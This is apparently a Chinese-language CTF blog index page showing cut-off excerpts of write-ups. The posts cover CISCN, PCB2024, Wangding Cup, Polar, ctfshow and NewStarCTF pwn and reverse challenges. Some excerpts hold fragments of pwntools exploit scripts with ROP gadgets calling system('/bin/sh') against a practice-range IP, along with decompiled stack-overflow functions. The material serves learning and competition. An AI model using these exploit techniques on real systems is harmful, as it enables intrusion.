CISCN-做题笔记
国赛-CISCN2023-PWN-烧烤摊儿2024.7.31 日常检查 丢进ida里面看看 国赛题是不一样哈!! ida都不好分析(中文字符串反编译不出来) ☝🤓 1https://blog.csdn.net/donglxd/article/details/135243027 找到办法了 嗯~舒服多了! 找一下漏洞,栈溢出 123456789101112__int64 gaiming(){ int v0; // edx int v1; // ecx int v2; // r8d int v3; // r9d char v5[32]; // [rsp+0h] [rbp-20h] BYREF puts("烧烤摊儿已归你所有,请赐名:"); _isoc99_scanf("%s", v5, v0, v1, v2, v3); j_strcpy_ifunc(name, v5); return 0LL;} "%s"...
pwn-笔记
pwn-学习笔记12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849#include <stdio.h>#include <stdint.h>#include <stdlib.h>#include <time.h>//解密函数void decrypt(uint32_t* v, uint32_t* k) { uint32_t v0 = v[0], v1 = v[1], sum, i; uint32_t sum_32[32] ; for (i = 0; i < 32; i++) { sum_32[i] = rand(); if(i!=0) sum_32[i] += sum_32[i-1]; } uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3]; for (i = 0; i<32; i++)...
鹏程杯-2024
包菜的,虽然都没怎么做出来 但也是复现出来了 REjoyVBS-pcb2024打开时一个已VBS结尾的文件 第一次做 上网查了一手 直接实操一手,直接就跑出来了 就是一道凯撒加base64编码 很简单的也是,偏移为14 直接解就行 12345678910111213141516171819202122232425import base64def caesar_cipher(text, shift): result = "" for char in text: if 'A' <= char <= 'Z': result += chr((ord(char) - ord('A') + shift) % 26 + ord('A')) elif 'a' <= char <= 'z': result += chr((ord(char)...
AWDP-总结笔记
没咋打过AWDP,就连AWD打的也很少,因为第一次打线下赛,所以准备写个笔记记录一下,完事之后在准备在补点笔记。 Web那边我不知道,只记录了pwn这块的 唉,菜就多练。 简介 没啥说的,就是跟AWD差不多 漏洞加固技巧 在AWD中每个选手会分配到一个运行了漏洞程序的靶机,我们可以找到自己靶机中的PWN附件(也就是漏洞程序)进行分析,发现漏洞来编写exp攻击其他队伍的靶机,同时我们需要用一些手段加固漏洞防止被其他选手攻击得分。 patch-PWN patch就是通过修改漏洞程序的漏洞汇编代码从而防止其他选手进行漏洞利用,不同的awd平台检查机制各不相同,原则上是只能针对漏洞点进行 patch 加固 工具介绍:ida插件keypatch链接:通过百度网盘分享的文件:IDA_Pro_7.7.zip链接:https://pan.baidu.com/s/1M2OunlHHhSjwCaWLyGsQNA提取码:Rweb 整数溢出 ...
Polar靶场-做题笔记
这个靶场挺好的,比较基础 后缀未做出的我都会标记 后续会补上 Polaroverload12024.9.25 日常检查 就是一个常规的覆盖溢出 但是就是要记住gets函数溢出的栈的长度 ida反编译的不太对 1234567891011121314151617181920 from pwn import* p=remote('120.46.59.242', 2102)#p=process('./1111')ret_addr=0x0000000000400661pop_rdi=0x0000000000400973bin_sh=0x000000400A3Csystem_addr=0x04008FD p.sendafter('输入y/n',b'y')p.recvuntil('\n')##p.recv()payload =...
网鼎杯-2024
赛题名称:pwn2解题步骤:第一步:32位的一个栈迁移 首先打开是一个最简单栈溢出和32位rop链 但是仔细看了一下read函数限制了最大长度只有8字节,rbp和返回地址 加上上面的%p泄露了一下rsp的地址 然后就在栈上进行一下栈迁移一个就行了。 前面有一个用户的登录和密码 ida直接打开就能看见 第二步:这里借鉴了一下BUUCTF-ciscn_2019_es_2 因为这里直接是给了栈顶的位置 我们直接进行接一下就行了。因为存在格式化字符串漏洞%p直接进行泄露就行了 exp:123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384from pwn import*from struct import packimport ctypes#from LibcSearcher import *def...
ctfshow-做题笔记-堆利用·前置基础
为防止题目难度跨度太大,135-140为演示题目阶段,你可以轻松获取flag,但是希望你能一步步去调试,而不是仅仅去拿到flag。 如何申请堆? pwn135没啥说的,ida反编译进去看一下源码就知道怎么做了。 简单了解一下堆的知识 malloc函数:作用:从堆内存中分配指定大小的内存块 1void* malloc(size_t size); 参数:size 是需要分配的字节数。 返回值:成功时返回指向已分配内存的指针;若分配失败,则返回 NULL。 特点:分配的内存不会被初始化,可能包含垃圾数据,需要手动清零。 calloc函数:作用:分配并初始化内存块(每个字节都会杯初始化为0)。 1void* calloc(size_t num, size_t size); 参数: num:需要分配的元素个数。 size:每个元素的大小(字节)。 返回值:成功时返回指向已分配内存的指针;若分配失败,则返回 NULL。 特点:分配的内存会被初始化为 0。 realloc函数:作用:重新调整已分配内存的大小 1void* realloc(void* ptr, size_t...
堆的前置知识
...
NewStarCTF 2024
NewStarCTF 20241https://match.ichunqiu.com/index?k=AzZXZ11uAmJQOAAxB3Zcfld1UDVScQBkBjoEMFRhDzgGM15pDTUEZQI3BmZUYlc2 pwn签到2024.10.3 nc之后满足条件就行了 Game2024.10.3 1234567891011121314151617181920212223void __noreturn game(){ int v0; // [rsp+0h] [rbp-10h] BYREF int v1; // [rsp+4h] [rbp-Ch] unsigned __int64 v2; // [rsp+8h] [rbp-8h] v2 = __readfsqword(0x28u); v1 = 0; v0 = 0; puts("Let's play a game!"); alarm(5u); while ( 1 ) { printf("pls input you num:...
2024-强网拟态
...